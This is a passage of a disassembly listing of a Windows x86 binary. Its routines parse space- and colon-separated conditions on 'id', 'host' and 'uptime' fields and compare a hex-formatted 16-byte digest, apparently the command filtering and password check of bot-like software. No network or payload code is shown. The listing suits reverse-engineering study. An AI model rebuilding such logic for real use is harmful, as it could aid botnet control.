mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
sub_412BC0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412C10 proc near ; CODE XREF: sub_401F00j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412C10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+28h+var_24]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+28h+var_C]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
sub_412C10 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412CB0: ; CODE XREF: ___:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43994E
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_412FD6
push ebx
push edi
push offset asc_443600 ; " "
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_4016AE
push offset asc_443600 ; " "
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_4016AE
push offset asc_443600 ; " "
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_4016AE
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_4013D9
lea ecx, [esp+28h]
mov ebx, eax
call sub_4013D9
lea ecx, [esp+40h]
add ebx, eax
call sub_4013D9
mov ecx, edi
add ebx, eax
call sub_4013D9
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401E2E
push offset asc_443600 ; " "
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_4016AE
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401E2E
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_40200E
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_401226
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_401226
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_40200E
push offset asc_443D30 ; "!="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E35
xor edi, edi
loc_412E35: ; CODE XREF: ___:00412E31j
push offset asc_443D2C ; "=="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E4C
mov edi, 1
loc_412E4C: ; CODE XREF: ___:00412E45j
push offset asc_443D28 ; ">"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E63
mov edi, 2
loc_412E63: ; CODE XREF: ___:00412E5Cj
push offset asc_443D24 ; "<"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E7A
mov edi, 3
loc_412E7A: ; CODE XREF: ___:00412E73j
push offset aId ; "id"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412ED4
test edi, edi
jnz short loc_412EAA
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset word_44758A
call sub_4012EE
test eax, eax
jz short loc_412ED4
jmp short loc_412EC7
; ---------------------------------------------------------------------------
loc_412EAA: ; CODE XREF: ___:00412E8Ej
cmp edi, 1
jnz short loc_412ED4
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset word_44758A
call sub_4012EE
test eax, eax
jnz short loc_412ED4
loc_412EC7: ; CODE XREF: ___:00412EA8j
push 0
push esi
mov ecx, offset byte_4472A7
call sub_401A32
loc_412ED4: ; CODE XREF: ___:00412E8Aj
; ___:00412EA6j ...
push offset aHost ; "host"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F27
test edi, edi
jnz short loc_412F08
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset byte_4D60CD
call sub_4013E3
test eax, eax
jnz loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F08: ; CODE XREF: ___:00412EE8j
cmp edi, 1
jnz short loc_412F89
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset byte_4D60CD
call sub_4013E3
test eax, eax
jz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F27: ; CODE XREF: ___:00412EE4j
push offset aUptime ; "uptime"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F89
lea ecx, [esp+10h]
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ebx, eax
call sub_401654
test edi, edi
jnz short loc_412F5D
cmp eax, ebx
jz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F5D: ; CODE XREF: ___:00412F55j
cmp edi, 1
jnz short loc_412F68
cmp eax, ebx
jnz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F68: ; CODE XREF: ___:00412F60j
cmp edi, 2
jnz short loc_412F73
cmp eax, ebx
jle short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F73: ; CODE XREF: ___:00412F6Bj
cmp edi, 3
jnz short loc_412F89
cmp eax, ebx
jge short loc_412F89
loc_412F7C: ; CODE XREF: ___:00412F06j
; ___:00412F25j ...
push 0
push esi
mov ecx, offset byte_4472A7
call sub_401A32
loc_412F89: ; CODE XREF: ___:00412F00j
; ___:00412F0Bj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_401226
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_401226
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebx
jmp short loc_412FD8
; ---------------------------------------------------------------------------
loc_412FD6: ; CODE XREF: ___:00412CE9j
mov al, 1
loc_412FD8: ; CODE XREF: ___:00412FD4j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4130E0 proc near ; CODE XREF: sub_401654j
call near ptr 27F06FDh
nop
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_4130E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413120 proc near ; CODE XREF: sub_401FFAj
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_413120
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_401749
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401F05
lea ecx, [esp+20h+var_11]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+24h+var_4], 2
call sub_401843
mov ecx, edi
mov byte ptr [esp+20h+var_4], 3
mov dword ptr [esi], offset off_43E044
call sub_401924
mov ecx, ebx
call sub_401C62
mov ecx, [esp+20h+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
sub_413120 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j
push esi
mov esi, ecx
call sub_401C8F
sub_4131F0 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_413208
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_413208: ; CODE XREF: ___:004131FDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413220 proc near ; CODE XREF: sub_401C8Fj
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_413220
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_43E044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_401924
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401C62
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_4014B5
sub_413220 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 1
call sub_4011B8
; ---------------------------------------------------------------------------
lea ecx, [esi+32h]
mov byte ptr [esp+18h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+10h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4132E0 proc near ; CODE XREF: sub_4019F6j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4132E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0Ch
push 9
push 1
lea edx, [esp+50h+var_24]
push 8
push edx
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+44h+var_4], 1
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_24]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+40h+var_C]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_4132E0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4133D0 proc near ; CODE XREF: sub_401CD0j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4133D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_4017E4
test eax, eax
jz short loc_413477
lea ecx, [esp+18h+var_14]
call sub_402252
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_4018F2
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jz short loc_413477
loc_413438: ; CODE XREF: sub_4133D0+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B72
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41349C
call sub_40118B
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jnz short loc_413438
loc_413477: ; CODE XREF: sub_4133D0+2Ej
; sub_4133D0+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41349C: ; CODE XREF: sub_4133D0+86j
call sub_40135C
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_4133D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413510 proc near ; CODE XREF: sub_402112j
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_413510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_4017E4
test eax, eax
jz loc_4135E3
lea ecx, [esp+28h+var_18]
call sub_401037
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_401983
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402234
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AD7
test al, al
jz short loc_4135E3
loc_41357F: ; CODE XREF: sub_413510+D1j
lea ecx, [esp+28h+var_18]
call sub_4011D1
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_4014C9
mov ecx, ebx
call sub_401CD0
mov esi, eax
test esi, esi
jz short loc_4135AC
mov edi, [esi]
loc_4135AC: ; CODE XREF: sub_413510+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401B72
test eax, eax
jz short loc_41360B
test esi, esi
jnz short loc_41360B
lea ecx, [esp+28h+var_18]
call sub_4018B6
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402234
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AD7
test al, al
jnz short loc_41357F
loc_4135E3: ; CODE XREF: sub_413510+31j
; sub_413510+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
loc_4135F6: ; CODE XREF: sub_413510+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_41360B: ; CODE XREF: sub_413510+AAj
; sub_413510+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, edi
jmp short loc_4135F6
sub_413510 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413670 proc near ; CODE XREF: sub_401F46j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413670
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_4017E4
test eax, eax
jz short loc_413714
lea ecx, [esp+14h+var_14]
call sub_401E1F
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012E9
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401D89
push eax
lea ecx, [esp+18h+var_14]
call sub_401D5C
test al, al
jz short loc_413714
loc_4136D6: ; CODE XREF: sub_413670+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401FA5
mov ecx, [eax]
call sub_401B72
test eax, eax
jz short loc_413746
lea ecx, [esp+14h+var_14]
call sub_4020A4
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401D89
push eax
lea ecx, [esp+18h+var_14]
call sub_401D5C
test al, al
jnz short loc_4136D6
loc_413714: ; CODE XREF: sub_413670+2Bj
; sub_413670+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401578
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_413746: ; CODE XREF: sub_413670+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401FA5
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401578
sub_413670 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4137E0 proc near ; CODE XREF: sub_4011DBj
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4137E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_4017E4
test eax, eax
jz loc_413913
lea eax, [esp+0A8h+var_64]
push eax
call sub_401A55
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_401424
push offset byte_446F60
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_4015D7
lea ecx, [esp+0A8h+arg_0]
call sub_4013D9
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_4014D3
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401C12
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_402158
add esp, 14h
loc_41387B: ; CODE XREF: sub_4137E0+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_401424
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset a2_2x ; "%2.2X"
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_4016BD
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_401226
inc esi
cmp esi, 10h
jl short loc_41387B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401B72
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_41390E
call sub_401226
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_41392C
; ---------------------------------------------------------------------------
loc_41390E: ; CODE XREF: sub_4137E0+10Cj
call sub_401226
loc_413913: ; CODE XREF: sub_4137E0+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_41392C: ; CODE XREF: sub_4137E0+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_4137E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4139B0 proc near ; CODE XREF: sub_40191Fj
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4139B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_4014C9
mov ecx, esi
call sub_402112
test eax, eax
jz short loc_413A5E
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_40171C
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_10], esp
push edx
mov byte ptr [esp+40h+var_4], 2
call sub_4014C9
mov ecx, esi
mov byte ptr [esp+3Ch+var_4], 1
call sub_401F46
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_413A5E
lea ecx, [esp+3Ch+var_20]
mov byte ptr [esp+3Ch+var_28], 0
call sub_401226
lea ecx, [esp+3Ch+var_8]
mov [esp+3Ch+var_28], 0FFFFFFFFh
call sub_401226
mov al, 1
mov ecx, [esp+3Ch+var_30]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_413A5E: ; CODE XREF: sub_4139B0+3Fj
; sub_4139B0+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_4139B0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413AE0: ; CODE XREF: ___:00401393j
push 0FFFFFFFFh
push offset loc_439B08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40191F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413B70 proc near ; CODE XREF: sub_401181j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413B70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_413CB9
lea ecx, [esp+48h+arg_0]
call sub_4017E4
test eax, eax
jz loc_413CB9
push esi
push edi
push offset asc_443C84 ; ":"
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jz loc_413C93
add ebp, 54h
loc_413BF0: ; CODE XREF: sub_413B70+11Dj
push 15h
call sub_4367FA
add esp, 4
mov [esp+50h+var_40], eax
cmp eax, ebx
mov byte ptr [esp+50h+var_4], 2
jz short loc_413C10
mov ecx, eax
call sub_401F2D
jmp short loc_413C12
; ---------------------------------------------------------------------------
loc_413C10: ; CODE XREF: sub_413B70+95j
xor eax, eax
loc_413C12: ; CODE XREF: sub_413B70+9Ej
push offset asc_443C84 ; ":"
lea ecx, [esp+54h+var_24]
push esi
push ecx
lea ecx, [esp+5Ch+arg_0]
mov byte ptr [esp+5Ch+var_4], bl
mov [esp+5Ch+arg_18], eax
call sub_4016AE
mov ecx, [esp+50h+arg_18]
push eax
mov byte ptr [esp+54h+var_4], 3
call sub_40200E
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], bl
call sub_401226
lea edx, [esp+50h+arg_18]
mov ecx, ebp
push edx
call sub_40147E
inc esi
push offset asc_443C84 ; ":"
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jnz loc_413BF0
loc_413C93: ; CODE XREF: sub_413B70+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413CB9: ; CODE XREF: sub_413B70+26j
; sub_413B70+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_413B70 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413D40 proc near ; CODE XREF: sub_401F2Dj
push esi
mov esi, ecx
call sub_401424
mov eax, esi
pop esi
retn
sub_413D40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413D60: ; CODE XREF: ___:004010F0j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_401861
mov ecx, esi
call sub_401181
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413DA0 proc near ; CODE XREF: sub_40189Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
arg_30 = byte ptr 34h
arg_48 = byte ptr 4Ch
arg_60 = byte ptr 64h
push 0FFFFFFFFh
push offset SEH_413DA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_4014C9
mov ecx, ebp
call sub_401CD0
xor ebx, ebx
cmp eax, ebx
jnz loc_413F8E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_4014C9
mov ecx, ebp
call sub_402112
mov edi, eax
cmp edi, ebx
jz loc_413F8E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_4014C9
mov ecx, ebp
call sub_4011DB
cmp al, bl
jz loc_413F8E
push offset byte_446F60
lea ecx, [esp+28h+arg_48]
call sub_4012EE
test eax, eax
jz short loc_413E87
lea ecx, [edi+2Ah]
call sub_4017E4
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_4017E4
loc_413E56: ; CODE XREF: sub_413DA0+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413E7A
cmp cl, bl
